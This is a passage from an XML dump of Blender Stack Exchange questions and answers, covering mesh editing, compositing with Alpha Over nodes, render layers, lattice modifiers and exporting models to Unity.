  <row Id="38310" PostTypeId="1" CreationDate="2015-09-10T06:54:22.243" Score="1" ViewCount="191" Body="&lt;p&gt;Blender newbie here, I made a car in blender 2.75 and used the mirror modifier to create its other side. I created a tire that is basically the part of the car mesh, is it possible to separate the tires from the car body so I can use it in my Unity game. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the image&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QaZHT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QaZHT.png&quot; alt=&quot;Car Model&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18023" LastActivityDate="2015-09-10T06:54:22.243" Title="Separating tire from a car?" Tags="&lt;mesh&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-09-10T07:24:25.323" ContentLicense="CC BY-SA 3.0" />
  <row Id="38311" PostTypeId="1" AcceptedAnswerId="38344" CreationDate="2015-09-10T10:18:12.113" Score="8" ViewCount="904" Body="&lt;p&gt;It's been a little while i'm using Blender now, but I never did try to simulate smoke yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to work on titles for a little movie and I was wondering if it was possible to make a picture projection on a smoke simulation (using Cycles) and if you had some directions to handle this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14306" LastEditorUserId="3710" LastEditDate="2015-09-11T09:46:23.353" LastActivityDate="2015-09-11T09:46:23.353" Title="Picture projection on smoke simulation?" Tags="&lt;cycles-render-engine&gt;&lt;smoke-simulation&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38312" PostTypeId="1" AcceptedAnswerId="38313" CreationDate="2015-09-10T11:03:01.933" Score="1" ViewCount="1304" Body="&lt;p&gt;so the question is:how to move selected vertices all in the same coordinate.&#xA;for example how to move 30 selected vertices in x:3.1 and y:1.5 and in the z axis not to move them.&#xA;I can't make this questions simplier i can't descibe it better D:.Please comment if u doesn't understand me.&#xA;Note:This can be done easily by selecting individual vertices and entering the desired coordinates, but it will take ages if you have many :/, so is there a better way?&lt;/p&gt;&#xA;" OwnerUserId="16433" LastActivityDate="2015-09-10T21:00:35.240" Title="how to move some vertices of the same object to a desired x,y,z location?" Tags="&lt;editing&gt;&lt;vertices&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38313" PostTypeId="2" ParentId="38312" CreationDate="2015-09-10T11:13:45.070" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Select&lt;/strong&gt; vertices&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Collapse&lt;/strong&gt; XY coordinates: with &quot;Median point&quot; pivot selected, &lt;strong&gt;scale&lt;/strong&gt; to zero on all but Z axis by pressing &lt;kbd&gt;S&lt;/kbd&gt;, than &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt;, than set the amount to &lt;kbd&gt;0&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Move&lt;/strong&gt; vertices to desiderd XY coordinates (you can use the Transform coordinates in the Properties panel to set precise coordinates)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-09-10T11:13:45.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38314" PostTypeId="1" AcceptedAnswerId="38315" CreationDate="2015-09-10T11:20:46.677" Score="4" ViewCount="3006" Body="&lt;p&gt;I am trying to figure out how to work with render layers. Now I have two render layers connected to the output via &lt;em&gt;Alpha Over&lt;/em&gt; node. But when I render the composite output layer is not the combined output of the two separate render layers. What is my stupidity? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VIDQm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VIDQm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13877" LastEditorUserId="3710" LastEditDate="2015-09-10T15:00:20.277" LastActivityDate="2015-09-11T18:41:32.980" Title="Transparent render layers" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;compositor&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="38315" PostTypeId="2" ParentId="38314" CreationDate="2015-09-10T11:40:55.380" Score="7" Body="&lt;p&gt;It could be that you are not actually providing the compositor with any transparency. The alpha output socket from the scene node will just be a solid white unless you check the following properties:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blender Internal:&lt;/strong&gt; Turn on Shading &gt; alpha &gt; transparent, in render properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cycles:&lt;/strong&gt; Turn on film &gt; transparent, in render properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/488/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=488&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-09-11T18:41:32.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38316" PostTypeId="2" ParentId="38302" CreationDate="2015-09-10T12:00:15.883" Score="0" Body="&lt;p&gt;You have to subdivide this certain area, where the bend is happenning, just add a couple of loopcuts&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-09-10T12:00:15.883" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="38317" PostTypeId="2" ParentId="30477" CreationDate="2015-09-10T12:53:24.963" Score="4" Body="&lt;p&gt;I think anti-aliasing doesn't have anything to do with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see very well, but I think the problem with &quot;rough&quot; reflection in the first image is due to a low amount of reflection raytracing samples. Try increasing the sample amount in the material's &quot;Reflections&quot; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles and Blender Internal rendering engines are defining materials differently, you can't quite switch from one to another every moment and expect to see similar visual results. Setting up object materials for Cycles is a completely different process. When you set up your materials for Blender internal rendered and then switched to Cycles, Blender actually tries to create similar materials, but it's a very basic approximation, this is where there's no reflection on the floor. Also setting up lighting for Cycles is different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic difference is that Blender Internal is a scanline rendering engine, while Cycles is a raytracer. The latter provides much more realism at the cost of much higher computational cost. Blender internal is however very useful for non-realistic renders where advanced light simulation is not needed and we can work with the different tools for &quot;faking&quot; these effects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance: Cycles will calculate how light propagates and reflects from surfaces and what image it will produce when reaching the scene's camera. All the bells and whistles are a part of the simulation of how light behaves in the 3D scene. Blender Internal however uses different tricks to fake these effects like shadow maps, raytraced reflections, bumpmapping, volumetric shadows... in Blender Internal it's all kind of &quot;fake&quot; and approximate and it doesn't look that real when compared to Cycles, which actually is simulating how photons bounce around. The downside of Cycles is the amount of noise you get from fast renders - it's a bit like getting too little exposure time for taking a picture in a dark environment - it's gonna be noisy. The same is with cycles. The more samples you give it to calculate, the less noise you're gonna have (but it can be very time-consuming).&lt;/p&gt;&#xA;" OwnerUserId="5650" LastEditorUserId="5650" LastEditDate="2015-09-10T13:01:40.473" LastActivityDate="2015-09-10T13:01:40.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38320" PostTypeId="1" AcceptedAnswerId="38339" CreationDate="2015-09-10T14:20:45.737" Score="2" ViewCount="1500" Body="&lt;p&gt;I've a scene and an image matte built from an image with a green rectangle depicting a hole. I'd like to have the camera view resized to fit the hole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image with the hole may change, the hole may be sized and located differently (no input about that, only the green color of the pixels).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used a &lt;code&gt;Transform&lt;/code&gt; node at the location indicated with &lt;code&gt;?&lt;/code&gt;. I have to adjust the offsets and the scale factor visually to position the camera view exactly in the hole. I'm looking for something automatic if this exists, or the most effective solution in any case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a true beginner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wukrC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wukrC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assumptions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This final result is an image, not an animation.&lt;/li&gt;&#xA;&lt;li&gt;The green rectangle and the camera have the same W/H ratio.&lt;/li&gt;&#xA;&lt;li&gt;The image appears in the foreground, normal to the camera view axis, in the composited result. No perspective is involved.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15265" LastEditorUserId="15265" LastEditDate="2015-09-10T17:02:57.447" LastActivityDate="2015-09-12T19:56:30.787" Title="Compositing: How the resize the scene to fit the matte?" Tags="&lt;transforms&gt;&lt;compositor&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38321" PostTypeId="2" ParentId="38236" CreationDate="2015-09-10T14:30:51.530" Score="3" Body="&lt;p&gt;In case of mesh already bent, whose volume should be preserved, it can be too complicated to use &lt;a href=&quot;http://www.blender.org/manual/modifiers/deform/lattice.html?highlight=lattice&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lattice modifier&lt;/a&gt;. Lattice can be edited with using &lt;a href=&quot;http://www.blender.org/manual/modifiers/deform/curve.html?highlight=curve%20modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;Curve Modifier&lt;/a&gt;, but the last one may not be applied to it. And the results in this case will be rather unpredictable and bad looking (&lt;a href=&quot;https://i.imgur.com/SVSgoNB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;for example&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could edit Lattice by yourself in &lt;em&gt;Edit mode&lt;/em&gt;, but why ? A good reason not to do that is that you won't be able to use provided curve as a desired shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A workaround is to create rig for the mesh.&lt;br/&gt;&#xA;You add armature, extrude it (I began from right to left). Then you parent mesh to armature (with Automatic weights will suit your needs) and grab / rotate bones as you'd like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dvPVf.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dvPVf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used curve as a reference according to which I edited the bones:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jRudc.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jRudc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=487&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download file here&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-09-10T14:30:51.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38322" PostTypeId="1" CreationDate="2015-09-10T14:39:38.410" Score="1" ViewCount="208" Body="&lt;p&gt;my videos have an intro clip that fades into my content strip. to fade, i use a gamma cross effect strip. overall the result is acceptable, but the first 1-5 frames of my gamma cross flash the content strip in near-full visibility before returning to the appropriate level of fade. then the strips fade as intended. any ideas why this might be happening? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'm not sure what the policy is for this and i'm not intending to advertise here, but &lt;a href=&quot;https://youtu.be/s43BSKDfq14?t=4s&quot; rel=&quot;nofollow&quot;&gt;https://youtu.be/s43BSKDfq14?t=4s&lt;/a&gt; from :04 to :07 is an example of what i'm talking about. thanks in advance for any help.&lt;/p&gt;&#xA;" OwnerUserId="18024" LastActivityDate="2015-11-02T07:50:17.530" Title="gamma cross flashes secondary strip for 1-2 frames before fading" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38324" PostTypeId="1" CreationDate="2015-09-10T15:08:37.010" Score="0" ViewCount="36" Body="&lt;p&gt;I am holding shift and hitting the &quot;X&quot; button in the action editor. The &quot;0&quot; doesn't show up. Please help :(&#xA;&lt;a href=&quot;https://drive.google.com/file/d/0B2ZiQtohl3tmbVlMZDFkYWc0TU0/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;https://drive.google.com/file/d/0B2ZiQtohl3tmbVlMZDFkYWc0TU0/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2015-09-10T15:08:37.010" Title="Actions wont delete. Even with Shift+X" Tags="&lt;dopesheet&gt;" AnswerCount="0" CommentCount="9" ClosedDate="2015-09-10T17:29:38.680" ContentLicense="CC BY-SA 3.0" />
  <row Id="38325" PostTypeId="1" CreationDate="2015-09-10T15:20:34.650" Score="1" ViewCount="1017" Body="&lt;p&gt;I am testing texture painting, I was working fine with TextDraw paint&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to test/try Mask brush but now TextDraw isn't working anymore&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I am missing something obvious here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help &lt;/p&gt;&#xA;" OwnerUserId="14006" LastActivityDate="2015-09-10T15:20:34.650" Title="Why isn't Text Draw working anymore?" Tags="&lt;texture-painting&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38326" PostTypeId="1" AcceptedAnswerId="38327" CreationDate="2015-09-10T15:24:13.107" Score="1" ViewCount="208" Body="&lt;p&gt;There is no threshold under the post processing title for my current working file. If I open a new file, threshold appears as in right picture. It seems that I've changed some settings but I couldn't find. What can be the reason of this situation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I think this is related to settings, not objects, because I took the screenshots for newly added object in both files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Vlxwm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vlxwm.png&quot; alt=&quot;without threshold&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/OUny9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OUny9.png&quot; alt=&quot;with threshold&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15757" LastEditorUserId="15757" LastEditDate="2015-09-10T15:30:13.603" LastActivityDate="2015-09-10T15:31:53.990" Title="Missing threshold in the post processing section" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38327" PostTypeId="2" ParentId="38326" CreationDate="2015-09-10T15:31:53.990" Score="2" Body="&lt;p&gt;This panel changes depending on if your render engine is set to Cycles or Blender Render in the info bar at the top of the Blender window:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sBI1d.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sBI1d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have probably changed the render engine to Cycles in your current file, but in the new file it goes back to the default Blender Render.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-09-10T15:31:53.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38328" PostTypeId="2" ParentId="38320" CreationDate="2015-09-10T15:36:03.043" Score="0" Body="&lt;p&gt;Consider two planes in the 3d View, Orthogonal Camera.&#xA;Both planes have image textures, are shadeless, have transparent portions, and thus illuminated at all times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The further view is the background. The closer view is the foreground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can animate location on the X, Z axis, and size of the foreground. We assume your permanent view is View 1 Front Orthogonal.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="2217" LastEditDate="2015-09-10T17:32:16.930" LastActivityDate="2015-09-10T17:32:16.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38329" PostTypeId="1" CreationDate="2015-09-10T15:46:38.953" Score="1" ViewCount="109" Body="&lt;p&gt;I've been trying to create this wine glass object for my game and 3D modelling is completely new to me and I followed all the steps of a tutorial to the best of my knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I convert it to fbx and export the object doesn't have the &quot; Glass BDF &quot; material to it; So, I added one of the materials from the material folder that was created when the fbx file was exported but the end &lt;strong&gt;result isn't transparent&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;strong&gt;recalculated the normals&lt;/strong&gt; but I'm still not getting it.I also checked the &lt;strong&gt;UV swap option&lt;/strong&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0foBK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0foBK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/05ppF.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/05ppF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18025" LastActivityDate="2015-09-10T15:46:38.953" Title="Wine glass isn't transparent when imported to unity" Tags="&lt;materials&gt;&lt;export&gt;&lt;normals&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-09-10T17:34:43.637" ContentLicense="CC BY-SA 3.0" />
  <row Id="38330" PostTypeId="1" CreationDate="2015-09-10T15:57:20.353" Score="1" ViewCount="436" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/snDlX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/snDlX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the lines to be fixed in a position not to the view, but every time I start drawing the stroke placement mode changes automatically from cursor to view.&lt;/p&gt;&#xA;" OwnerUserId="3729" LastEditorUserId="3401" LastEditDate="2015-09-10T15:59:55.030" LastActivityDate="2016-03-25T18:10:22.220" Title="How to change the stroke placement of the grease pencil in the UV window?" Tags="&lt;uv&gt;&lt;grease-pencil&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38331" PostTypeId="1" AcceptedAnswerId="38336" CreationDate="2015-09-10T16:18:44.067" Score="1" ViewCount="57" Body="&lt;p&gt;I've written an operator to check all vertices' bone weights and change them according to some rules, in Edit Mode. If I check the new bone weights while still in Edit Mode, they have the correct value. If I switch to Object Mode and then back to Edit Mode, however, all the new bone weights are lost and the vertices have the old ones. Why is this happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example of what I'm doing to change the bone weights:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for vertex in context.edit_object.data.vertices:&#xA;    for gr in vertex.groups:&#xA;        gr.weight = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: Doing &lt;code&gt;context.edit_object.data.update()&lt;/code&gt; after chanigng the bone weights doesn't fix the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="16174" LastActivityDate="2015-09-11T09:09:17.473" Title="Custom bone weights lost when switching to object mode" Tags="&lt;python&gt;&lt;bones&gt;&lt;vertices&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38332" PostTypeId="2" ParentId="38320" CreationDate="2015-09-10T16:44:56.237" Score="6" Body="&lt;p&gt;You can use a Plane Track Deform: in doing so, you'll be able to apply the scene both on a rectangle or a deformed plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/maItk.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/maItk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open the &quot;matte image&quot; in the Movie Clip Editor on &quot;Tracling&quot; mode&lt;/li&gt;&#xA;&lt;li&gt;Add 4 markers near the corners&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HyW4q.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HyW4q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Select all the markers and add a Plane Track&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ue0CS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ue0CS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Drag the corners to fit the &quot;hole&quot; you want to fill with your scene&lt;/li&gt;&#xA;&lt;li&gt;Open the Node Editor and the Plane Track Deform (add &gt; distort &gt; plane track deform)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PQdwY.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PQdwY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7668" LastEditorUserId="7668" LastEditDate="2015-09-10T18:53:22.190" LastActivityDate="2015-09-10T18:53:22.190" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="38333" PostTypeId="1" CreationDate="2015-09-10T16:46:36.757" Score="4" ViewCount="2472" Body="&lt;p&gt;I've done a quick 3D track in blender and I'm trying to render my output, but the plate I used to track is showing up over my 3d objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to render the objects in the scene with an alpha channel and comp them over the plate I tracked. My renders however, are covered by the aforementioned plate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Un-checking &quot;Background Images&quot; in the camera properties (only removes it from the viewport) isn't doing it for my render outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working on some production tests and am not really proficient with the software yet, my apologies in advance.&lt;/p&gt;&#xA;" OwnerUserId="18028" LastEditorDisplayName="user1853" LastEditDate="2016-01-17T01:02:47.040" LastActivityDate="2021-02-08T12:02:07.633" Title="Background image shows in front of 3D objects, not behind them." Tags="&lt;camera&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38334" PostTypeId="2" ParentId="38333" CreationDate="2015-09-10T17:02:34.810" Score="3" Body="&lt;p&gt;Using the compositor, the most basic setup to combine a 3D scene with an image (still or a video file) is mixing the movie clip and the render layers using an &lt;strong&gt;&lt;a href=&quot;https://www.blender.org/manual/compositing/types/color/alpha_over.html?highlight=alpha%20over&quot; rel=&quot;nofollow noreferrer&quot;&gt;Alpha Over&lt;/a&gt;&lt;/strong&gt; node.&lt;/p&gt;&#xA;&lt;p&gt;The node sockets to which the images are connected determines the result:&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;background&lt;/strong&gt; image should be connected to the &lt;strong&gt;top socket&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;foreground&lt;/strong&gt; image or scene to the &lt;strong&gt;bottom socket&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IQYHV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IQYHV.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The foreground's alpha channel is used to overlay the foreground on to the background.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tiWXQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tiWXQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If both images had an alpha channel, both alphas are combined for the final image.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mq59F.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mq59F.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="92768" LastEditDate="2021-02-08T12:02:07.633" LastActivityDate="2021-02-08T12:02:07.633" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="38335" PostTypeId="1" AcceptedAnswerId="38424" CreationDate="2015-09-10T17:07:52.293" Score="4" ViewCount="1772" Body="&lt;p&gt;I have a complex object and I created a lattice around it. Before adding the lattice modifier I manipulated the lattice points so that it perfectly encompasses my object. Then when I add the modifier, my object gets translated and scaled down significantly. I am guessing this is because I scaled the lattice down to match it to the object size, and moved/rotated it to get it into place. I tried pressing Ctrl+A to Apply Location, Rotation, and Scale, but this did nothing but change the object translation (though it did not correct it; just made it wrong in another way.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my object with the un-attached lattice:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/JKVTb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JKVTb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when I add the lattice modifier using this lattice:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/IFJkz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IFJkz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I tried Ctrl+A to &quot;Apply&quot; the location, rotation, and scale of the lattice and the object:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QpKSw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QpKSw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally I tried positioning the origin of both the lattice and the object to the same spot (center of tire):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/beqAm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/beqAm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am out of ideas. I saw this thread where someone ran into the same problem but the answer to his explicit question does not solve the implicit problem: &lt;a href=&quot;https://blender.stackexchange.com/questions/26499/lattice-modifier-deforms-object-as-soon-as-an-object-is-selected&quot;&gt;Lattice modifier deforms object as soon as an object is selected&lt;/a&gt;&#xA;I hope it is not that a lattice has to always start as a perfect cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I even tried unparenting the object so both the lattice and the object were top-level (not in a hierarchy) and origins both set to 0,0,0, so their rotation, position, scale values are identical and from the same origin. There should now be no reason this is happening yet it still behaves the same silly way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT AGAIN: It's hard to tell from my screenshots, but the lattice is NOT a perfect cube. It is more of a rhomboid or something more angular. I went into edit mode to adjust the corners to match the angle of the object, then I added more division to the U,V,W of the lattice. It seems certain that my manipulation of these control points is what the problem is, but how do I freeze the lattice so that this warped shape is considered the start shape?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&#xA;-Ben&lt;/p&gt;&#xA;" OwnerUserId="16492" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-09-12T14:51:15.457" Title="How do you freeze or reset a lattice?" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC 